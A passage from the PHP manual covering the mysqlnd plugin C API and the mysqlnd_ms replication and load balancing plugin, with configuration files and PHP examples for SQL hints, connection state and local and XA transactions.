  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_host;
    MAKE_STD_ZVAL(zv_host);
    ZVAL_STRING(zv_host, host, 1);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_host);
    /* ... */
  }
  /* ... */
}

Calling userspace: structs as arguments

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class, connect)(
  MYSQLND *conn, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_conn;
    ZEND_REGISTER_RESOURCE(zv_conn, (void *)conn, le_mysqlnd_plugin_conn);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_conn, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_conn);
    /* ... */
  }
  /* ... */
}

The first argument of many mysqlnd methods is a C "object". For example, the first argument of the connect() method is a pointer to MYSQLND. The struct MYSQLND represents a mysqlnd connection object.

The mysqlnd connection object pointer can be compared to a standard I/O file handle. Like a standard I/O file handle a mysqlnd connection object shall be linked to the userspace using the PHP resource variable type.

From C to userspace and back

 class proxy extends mysqlnd_plugin_connection {
  public function connect($conn, $host, ...) {
    /* "pre" hook */
    printf("Connecting to host = '%s'\n", $host);
    debug_print_backtrace();
    return parent::connect($conn);
  }

  public function query($conn, $query) {
    /* "post" hook */
    $ret = parent::query($conn, $query);
    printf("Query = '%s'\n", $query);
    return $ret;
  }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

PHP users must be able to call the parent implementation of an overwritten method.

As a result of subclassing it is possible to refine only selected methods and you can choose to have "pre" or "post" hooks.

Buildin class: mysqlnd_plugin_connection::connect()

/*  my_mysqlnd_plugin_classes.c */

 PHP_METHOD("mysqlnd_plugin_connection", connect) {
  /* ... simplified! ... */
  zval* mysqlnd_rsrc;
  MYSQLND* conn;
  char* host; int host_len;
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs",
    &mysqlnd_rsrc, &host, &host_len) == FAILURE) {
    RETURN_NULL();
  }
  ZEND_FETCH_RESOURCE(conn, MYSQLND* conn, &mysqlnd_rsrc, -1,
    "Mysqlnd Connection", le_mysqlnd_plugin_conn);
  if (PASS == org_methods.connect(conn, host, /* simplified! */ TSRMLS_CC))
    RETVAL_TRUE;
  else
    RETVAL_FALSE;
}

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd replication and load balancing plugin

  • Introduction
  • Quickstart and Examples
    • Setup
    • Running statements
    • Connection state
    • SQL Hints
    • Local transactions
    • XA/Distributed Transactions
    • Service level and consistency
    • Global transaction IDs
    • Cache integration
    • Failover
    • Partitioning and Sharding
    • MySQL Fabric
  • Concepts
    • Architecture
    • Connection pooling and switching
    • Local transaction handling
    • Error handling
    • Transient errors
    • Failover
    • Load balancing
    • Read-write splitting
    • Filter
    • Service level and consistency
    • Global transaction IDs
    • Cache integration
    • Supported clusters
    • XA/Distributed transactions
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Plugin configuration file (>=1.1.x)
  • Predefined Constants
  • Mysqlnd_ms Functions
    • mysqlnd_ms_dump_servers — Returns a list of currently configured servers
    • mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table
    • mysqlnd_ms_fabric_select_shard — Switch to shard
    • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
    • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
    • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
    • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
    • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
    • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
    • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting
    • mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors
    • mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers
  • Change History
    • PECL/mysqlnd_ms 1.6 series
    • PECL/mysqlnd_ms 1.5 series
    • PECL/mysqlnd_ms 1.4 series
    • PECL/mysqlnd_ms 1.3 series
    • PECL/mysqlnd_ms 1.2 series
    • PECL/mysqlnd_ms 1.1 series
    • PECL/mysqlnd_ms 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqlnd replication and load balancing plugin (mysqlnd_ms) adds easy to use MySQL replication support to all PHP MySQL extensions that use mysqlnd.

As of version PHP 5.3.3 the MySQL native driver for PHP (mysqlnd) features an internal plugin C API. C plugins, such as the replication and load balancing plugin, can extend the functionality of mysqlnd.

The MySQL native driver for PHP is a C library that ships together with PHP as of PHP 5.3.0. It serves as a drop-in replacement for the MySQL Client Library (libmysqlclient). Using mysqlnd has several advantages: no extra downloads are required because it's bundled with PHP, it's under the PHP license, there is lower memory consumption in certain cases, and it contains new functionality such as asynchronous queries.

Mysqlnd plugins like mysqlnd_ms operate, for the most part, transparently from a user perspective. The replication and load balancing plugin supports all PHP applications, and all MySQL PHP extensions. It does not change existing APIs. Therefore, it can easily be used with existing PHP applications.

Key Features

The key features of PECL/mysqlnd_ms are as follows.

  • Transparent and therefore easy to use.

    • Supports all of the PHP MySQL extensions.

    • SSL support.

    • A consistent API.

    • Little to no application changes required, dependent on the required usage scenario.

    • Lazy connections: connections to master and slave servers are not opened before a SQL statement is executed.

    • Optional: automatic use of master after the first write in a web request, to lower the possible impact of replication lag.

  • Can be used with any MySQL clustering solution.

    • MySQL Replication: Read-write splitting is done by the plugin. Primary focus of the plugin.

    • MySQL Cluster: Read-write splitting can be disabled. Configuration of multiple masters possible

    • Third-party solutions: the plugin is optimized for MySQL Replication but can be used with any other kind of MySQL clustering solution.

  • Featured read-write split strategies

    • Automatic detection of SELECT.

    • Supports SQL hints to overrule automatism.

    • User-defined.

    • Can be disabled for, for example, when using synchronous clusters such as MySQL Cluster.

  • Featured load balancing strategies

    • Round Robin: choose a different slave in round-robin fashion for every slave request.

    • Random: choose a random slave for every slave request.

    • Random once (sticky): choose a random slave once to run all slave requests for the duration of a web request.

    • User-defined. The application can register callbacks with mysqlnd_ms.

    • PHP 5.4.0 or newer: transaction aware when using API calls only to control transactions.

    • Weighted load balancing: servers can be assigned different priorities, for example, to direct more requests to a powerful machine than to another less powerful machine. Or, to prefer nearby machines to reduce latency.

  • Global transaction ID

    • Client-side emulation. Makes manual master server failover and slave promotion easier with asynchronous clusters, such as MySQL Replication.

    • Support for built-in global transaction identifier feature of MySQL 5.6.5 or newer.

    • Supports using transaction ids to identify up-to-date asynchronous slaves for reading when session consistency is required. Please, note the restrictions mentioned in the manual.

    • Throttling: optionally, the plugin can wait for a slave to become "synchronous" before continuing.

  • Service and consistency levels

    • Applications can request eventual, session and strong consistency service levels for connections. Appropriate cluster nodes will be searched automatically.

    • Eventual consistent MySQL Replication slave accesses can be replaced with fast local cache accesses transparently to reduce server load.

  • Partitioning and sharding

    • Servers of a replication cluster can be organized into groups. SQL hints can be used to manually direct queries to a specific group. Grouping can be used to partition (shard) the data, or to cure the issue of hotspots with updates.

    • MySQL Replication filters are supported through the table filter.

  • MySQL Fabric

    • Experimental support for MySQL Fabric is included.

Limitations

The built-in read-write-split mechanism is very basic. Every query which starts with SELECT is considered a read request to be sent to a MySQL slave server. All other queries (such as SHOW statements) are considered as write requests that are sent to the MySQL master server. The build-in behavior can be overruled using SQL hints, or a user-defined callback function.

The read-write splitter is not aware of multi-statements. Multi-statements are considered as one statement. The decision of where to run the statement will be based on the beginning of the statement string. For example, if using mysqli_multi_query() to execute the multi-statement SELECT id FROM test ; INSERT INTO test(id) VALUES (1), the statement will be redirected to a slave server because it begins with SELECT. The INSERT statement, which is also part of the multi-statement, will not be redirected to a master server.

Note:

Applications must be aware of the consequences of connection switches that are performed for load balancing purposes. Please check the documentation on connection pooling and switching, transaction handling, failover load balancing and read-write splitting.

On the name

The shortcut mysqlnd_ms stands for mysqlnd master slave plugin. The name was chosen for a quick-and-dirty proof-of-concept. In the beginning the developers did not expect to continue using the code base.

User Contributed Notes

Max 02-Jul-2013 08:09
Does it work with Amazon RDS MySQL instances?


Quickstart and Examples

Table of Contents

  • Setup
  • Running statements
  • Connection state
  • SQL Hints
  • Local transactions
  • XA/Distributed Transactions
  • Service level and consistency
  • Global transaction IDs
  • Cache integration
  • Failover
  • Partitioning and Sharding
  • MySQL Fabric

The mysqlnd replication load balancing plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. The quickstart tries to avoid discussing theoretical concepts and limitations. Instead, it will link to the reference sections. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

The focus is on using PECL mysqlnd_ms for work with an asynchronous MySQL cluster, namely MySQL replication. Generally speaking an asynchronous cluster is more difficult to use than a synchronous one. Thus, users of, for example, MySQL Cluster will find more information than needed.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_ms extension.

Compile or configure the PHP MySQL extension (API) (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_ms is a plugin for the mysqlnd library. To use the plugin with any of the PHP MySQL extensions, the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_ms.enable.

Example #1 Enabling the plugin (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini

The plugin uses its own configuration file. Use the PHP configuration directive mysqlnd_ms.config_file to set the full file path to the plugin-specific configuration file. This file must be readable by PHP (e.g., the web server user). Please note, the configuration directive mysqlnd_ms.config_file superseeds mysqlnd_ms.ini_file since 1.4.0. It is a common pitfall to use the old, no longer available configuration directive.

Create a plugin-specific configuration file. Save the file to the path set by the PHP configuration directive mysqlnd_ms.config_file.

The plugins configuration file is JSON based. It is divided into one or more sections. Each section has a name, for example, myapp. Every section makes its own set of configuration settings.

A section must, at a minimum, list the MySQL replication master server, and set a list of slaves. The plugin supports using only one master server per section. Multi-master MySQL replication setups are not yet fully supported. Use the configuration setting master to set the hostname, and the port or socket of the MySQL master server. MySQL slave servers are configured using the slave keyword.

Example #2 Minimal plugin-specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": [

        ]
    }
}

Configuring a MySQL slave server list is required, although it may contain an empty list. It is recommended to always configure at least one slave server.

Server lists can use anonymous or non-anonymous syntax. Non-anonymous lists include alias names for the servers, such as master_0 for the master in the above example. The quickstart uses the more verbose non-anonymous syntax.

Example #3 Recommended minimal plugin-specific config (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

If there are at least two servers in total, the plugin can start to load balance and switch connections. Switching connections is not always transparent and can cause issues in certain cases. The reference sections about connection pooling and switching, transaction handling, fail over load balancing and read-write splitting all provide more details. And potential pitfalls are described later in this guide.

It is the responsibility of the application to handle potential issues caused by connection switches, by configuring a master with at least one slave server, which allows switching to work therefore related problems can be found.

The MySQL master and MySQL slave servers, which you configure, do not need to be part of MySQL replication setup. For testing purpose you can use single MySQL server and make it known to the plugin as a master and slave server as shown below. This could help you to detect many potential issues with connection switches. However, such a setup will not be prone to the issues caused by replication lag.

Example #4 Using one server as a master and as a slave (testing only!)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

The plugin attempts to notify you of invalid configurations. Since 1.5.0 it will throw a warning during PHP startup if the configuration file cannot be read, is empty or parsing the JSON failed. Depending on your PHP settings those errors may appear in some log files only. Further validation is done when a connection is to be established and the configuration file is searched for valid sections. Setting mysqlnd_ms.force_config_usage may help debugging a faulty setup. Please, see also configuration file debugging notes.

User Contributed Notes

There are no user contributed notes for this page.


Running statements

The plugin can be used with any PHP MySQL extension (mysqli, mysql, and PDO_MYSQL) that is compiled to use the mysqlnd library. PECL/mysqlnd_ms plugs into the mysqlnd library. It does not change the API or behavior of those extensions.

Whenever a connection to MySQL is being opened, the plugin compares the host parameter value of the connect call, with the section names from the plugin specific configuration file. If, for example, the plugin specific configuration file has a section myapp then the section should be referenced by opening a MySQL connection to the host myapp

Example #1 Plugin specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Opening a load balanced connection

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");
?>

The connection examples above will be load balanced. The plugin will send read-only statements to the MySQL slave server with the IP 192.168.2.27 and will listen on port 3306 for the MySQL client connection. All other statements will be directed to the MySQL master server running on the host localhost. If on Unix like operating systems, the master on localhost will be accepting MySQL client connections on the Unix domain socket /tmp/mysql.sock, while TCP/IP is the default port on Windows. The plugin will use the user name username and the password password to connect to any of the MySQL servers listed in the section myapp of the plugins configuration file. Upon connect, the plugin will select database as the current schemata.

The username, password and schema name are taken from the connect API calls and used for all servers. In other words: you must use the same username and password for every MySQL server listed in a plugin configuration file section. The is not a general limitation. As of PECL/mysqlnd_ms 1.1.0, it is possible to set the username and password for any server in the plugins configuration file, to be used instead of the credentials passed to the API call.

The plugin does not change the API for running statements. Read-write splitting works out of the box. The following example assumes that there is no significant replication lag between the master and the slave.

Example #3 Executing statements

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Statements will be run on the master */
if (!$mysqli->query("DROP TABLE IF EXISTS test")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("CREATE TABLE test(id INT)")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* read-only: statement will be run on a slave */
if (!($res = $mysqli->query("SELECT id FROM test")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("Slave returns id = '%s'\n", $row['id'];
}
$mysqli->close();
?>

The above example will output something similar to:

Slave returns id = '1'

User Contributed Notes

There are no user contributed notes for this page.


Connection state

The plugin changes the semantics of a PHP MySQL connection handle. A new connection handle represents a connection pool, instead of a single MySQL client-server network connection. The connection pool consists of a master connection, and optionally any number of slave connections.

Every connection from the connection pool has its own state. For example, SQL user variables, temporary tables and transactions are part of the state. For a complete list of items that belong to the state of a connection, see the connection pooling and switching concepts documentation. If the plugin decides to switch connections for load balancing, the application could be given a connection which has a different state. Applications must be made aware of this.

Example #1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Pitfall: connection state and SQL user variables

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, run on slave because SELECT */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output:

@myrole = ''

The example opens a load balanced connection and executes two statements. The first statement SET @myrole='master' does not begin with the string SELECT. Therefore the plugin does not recognize it as a read-only query which shall be run on a slave. The plugin runs the statement on the connection to the master. The statement sets a SQL user variable which is bound to the master connection. The state of the master connection has been changed.

The next statement is SELECT @myrole AS _role. The plugin does recognize it as a read-only query and sends it to the slave. The statement is run on a connection to the slave. This second connection does not have any SQL user variables bound to it. It has a different state than the first connection to the master. The requested SQL user variable is not set. The example script prints @myrole = ''.

It is the responsibility of the application developer to take care of the connection state. The plugin does not monitor all connection state changing activities. Monitoring all possible cases would be a very CPU intensive task, if it could be done at all.

The pitfalls can easily be worked around using SQL hints.

User Contributed Notes

There are no user contributed notes for this page.


SQL Hints

SQL hints can force a query to choose a specific server from the connection pool. It gives the plugin a hint to use a designated server, which can solve issues caused by connection switches and connection state.

SQL hints are standard compliant SQL comments. Because SQL comments are supposed to be ignored by SQL processing systems, they do not interfere with other programs such as the MySQL Server, the MySQL Proxy, or a firewall.

Three SQL hints are supported by the plugin: The MYSQLND_MS_MASTER_SWITCH hint makes the plugin run a statement on the master, MYSQLND_MS_SLAVE_SWITCH enforces the use of the slave, and MYSQLND_MS_LAST_USED_SWITCH will run a statement on the same server that was used for the previous statement.

The plugin scans the beginning of a statement for the existence of an SQL hint. SQL hints are only recognized if they appear at the beginning of the statement.

Example #1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 SQL hints to prevent connection switches

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 1, run on master because of SQL hint */
if (!($res = $mysqli->query(sprintf("/*%s*/SELECT @myrole AS _role", MYSQLND_MS_LAST_USED_SWITCH)))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output:

@myrole = 'master'

In the above example, using MYSQLND_MS_LAST_USED_SWITCH prevents session switching from the master to a slave when running the SELECT statement.

SQL hints can also be used to run SELECT statements on the MySQL master server. This may be desired if the MySQL slave servers are typically behind the master, but you need current data from the cluster.

In version 1.2.0 the concept of a service level has been introduced to address cases when current data is required. Using a service level requires less attention and removes the need of using SQL hints for this use case. Please, find more information below in the service level and consistency section.

Example #3 Fighting replication lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Force use of master, master has always fresh and current data */
if (!$mysqli->query(sprintf("/*%s*/SELECT critical_data FROM important_table", MYSQLND_MS_MASTER_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
?>

A use case may include the creation of tables on a slave. If an SQL hint is not given, then the plugin will send CREATE and INSERT statements to the master. Use the SQL hint MYSQLND_MS_SLAVE_SWITCH if you want to run any such statement on a slave, for example, to build temporary reporting tables.

Example #4 Table creation on a slave

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Force use of slave */
if (!$mysqli->query(sprintf("/*%s*/CREATE TABLE slave_reporting(id INT)", MYSQLND_MS_SLAVE_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Continue using this particular slave connection */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO slave_reporting(id) VALUES (1), (2), (3)", MYSQLND_MS_LAST_USED_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Don't use MYSQLND_MS_SLAVE_SWITCH which would allow switching to another slave! */
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM slave_reporting", MYSQLND_MS_LAST_USED_SWITCH))) {
  $row = $res->fetch_assoc();
  $res->close();
  printf("There are %d rows in the table 'slave_reporting'", $row['_num']);
} else {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
$mysqli->close();
?>

The SQL hint MYSQLND_MS_LAST_USED forbids switching a connection, and forces use of the previously used connection.

User Contributed Notes

There are no user contributed notes for this page.


Local transactions

The current version of the plugin is not transaction safe by default, because it is not aware of running transactions in all cases. SQL transactions are units of work to be run on a single server. The plugin does not always know when the unit of work starts and when it ends. Therefore, the plugin may decide to switch connections in the middle of a transaction.

No kind of MySQL load balancer can detect transaction boundaries without any kind of hint from the application.

You can either use SQL hints to work around this limitation. Alternatively, you can activate transaction API call monitoring. In the latter case you must use API calls only to control transactions, see below.

Example #1 Plugin config with one slave and one master

[myapp]
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Using SQL hints for transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Not a SELECT, will use master */
if (!$mysqli->query("START TRANSACTION")) {
 /* Please use better error handling in your code */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Prevent connection switch! */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO test(id) VALUES (1)", MYSQLND_MS_LAST_USED_SWITCH)))) {
 /* Please do proper ROLLBACK in your code, don't just die */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM test", MYSQLND_MS_LAST_USED_SWITCH)))) {
  $row = $res->fetch_assoc();
  $res->close();
  if ($row['_num'] > 1000) {
   if (!$mysqli->query(sprintf("/*%s*/INSERT INTO events(task) VALUES ('cleanup')", MYSQLND_MS_LAST_USED_SWITCH)))) {
     die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
   }
  }
} else {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/UPDATE log SET last_update = NOW()", MYSQLND_MS_LAST_USED_SWITCH)))) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/COMMIT", MYSQLND_MS_LAST_USED_SWITCH)))) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

$mysqli->close();
?>

Starting with PHP 5.4.0, the mysqlnd library allows the plugin to monitor the status of the autocommit mode, if the mode is set by API calls instead of using SQL statements such as SET AUTOCOMMIT=0. This makes it possible for the plugin to become transaction aware. In this case, you do not need to use SQL hints.

If using PHP 5.4.0 or newer, API calls that enable autocommit mode, and when setting the plugin configuration option trx_stickiness=master, the plugin can automatically disable load balancing and connection switches for SQL transactions. In this configuration, the plugin stops load balancing if autocommit is disabled and directs all statements to the master. This prevents connection switches in the middle of a transaction. Once autocommit is re-enabled, the plugin starts to load balance statements again.

API based transaction boundary detection has been improved with PHP 5.5.0 and PECL/mysqlnd_ms 1.5.0 to cover not only calls to mysqli_autocommit() but also mysqli_begin(), mysqli_commit() and mysqli_rollback().

Example #3 Transaction aware load balancing: trx_stickiness setting

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

Example #4 Transaction aware

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Disable autocommit, plugin will run all statements on the master */
$mysqli->autocommit(FALSE);

if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
 /* Please do proper ROLLBACK in your code, don't just die */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query("SELECT COUNT(*) AS _num FROM test")) {
  $row = $res->fetch_assoc();
  $res->close();
  if ($row['_num'] > 1000) {
   if (!$mysqli->query("INSERT INTO events(task) VALUES ('cleanup')")) {
     die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
   }
  }
} else {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query("UPDATE log SET last_update = NOW()")) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->commit()) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin assumes that the transaction has ended and starts load balancing again */
$mysqli->autocommit(TRUE);
$mysqli->close();
?>

Note: Version requirement

The plugin configuration option trx_stickiness=master requires PHP 5.4.0 or newer.

Please note the restrictions outlined in the transaction handling concepts section.

User Contributed Notes

There are no user contributed notes for this page.


XA/Distributed Transactions

Note: Version requirement

XA related functions have been introduced in PECL mysqlnd_ms version 1.6.0-alpha.

Note: Early adaptors wanted

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments, although early lab tests indicate reasonable quality.

Please, contact the development team if you are interested in this feature. We are looking for real life feedback to complement the feature.

XA transactions are a standardized method for executing transactions across multiple resources. Those resources can be databases or other transactional systems. The MySQL server supports XA SQL statements which allows users to carry out a distributed SQL transaction that spawns multiple database servers or any kind as long as they support the SQL statements too. In such a scenario it is in the responsibility of the user to coordinate the participating servers.

PECL/mysqlnd_ms can act as a transaction coordinator for a global (distributed, XA) transaction carried out on MySQL servers only. As a transaction coordinator, the plugin tracks all servers involved in a global transaction and transparently issues appropriate SQL statements on the participants. The global transactions are controlled with mysqlnd_ms_xa_begin(), mysqlnd_ms_xa_commit() and mysqlnd_ms_xa_rollback(). SQL details are mostly hidden from the application as is the need to track and coordinate participants.

Example #1 General pattern for XA transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* start a global transaction */
$gtrid_id = "12345";
if (!mysqlnd_ms_xa_begin($mysqli, $gtrid_id)) {
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* run queries as usual: XA BEGIN will be injected upon running a query */
if (!$mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')")) {
   /* Either INSERT failed or the injected XA BEGIN failed */
  if ('XA' == substr($mysqli->sqlstate, 0, 2)) {
    printf("Global transaction/XA related failure, [%d] %s\n", $mysqli->errno, $mysqli->error);
  } else {
    printf("INSERT failed, [%d] %s\n", $mysqli->errno, $mysqli->error);
  }
  /* rollback global transaction */
  mysqlnd_ms_xa_rollback($mysqli, $xid);
  die("Stopping.");
}

/* continue carrying out queries on other servers, e.g. other shards */

/* commit the global transaction */
if (!mysqlnd_ms_xa_commit($mysqli, $xa_id)) {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
?>

Unlike with local transactions, which are carried out on a single server, XA transactions have an identifier (xid) associated with them. The XA transaction identifier is composed of a global transaction identifier (gtrid), a branch qualifier (bqual) a format identifier (formatID). Only the global transaction identifier can and must be given when calling any of the plugins XA functions.

Once a global transaction has been started, the plugin begins tracking servers until the global transaction ends. When a server is picked for query execution, the plugin injects the SQL statement XA BEGIN prior to executing the actual SQL statement on the server. XA BEGIN makes the server participate in the global transaction. If the injected SQL statement fails, the plugin will report the issue in reply to the query execution function that was used. In the above example, $mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')") would indicate such an error. You may want to check the errors SQL state code to determine whether the actual query (here: INSERT) has failed or the error is related to the global transaction. It is up to you to ignore the failure to start the global transaction on a server and continue execution without having the server participate in the global transaction.

Example #2 Local and global transactions are mutually exclusive

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* start a local transaction */
if (!$mysqli->begin_transaction())
  die(sprintf("[%d/%s] %s\n", $mysqli->errno, $mysqli->sqlstate, $mysqli->error));

/* cannot start global transaction now - must end local transaction first */
$gtrid_id = "12345";
if (!mysqlnd_ms_xa_begin($mysqli, $gtrid_id)) {
  die(sprintf("[%d/%s] %s\n", $mysqli->errno, $mysqli->sqlstate, $mysqli->error));
}
?>

The above example will output:

Warning: mysqlnd_ms_xa_begin(): (mysqlnd_ms) Some work is done outside global transaction. You must end the active local transaction first in ... on line ...
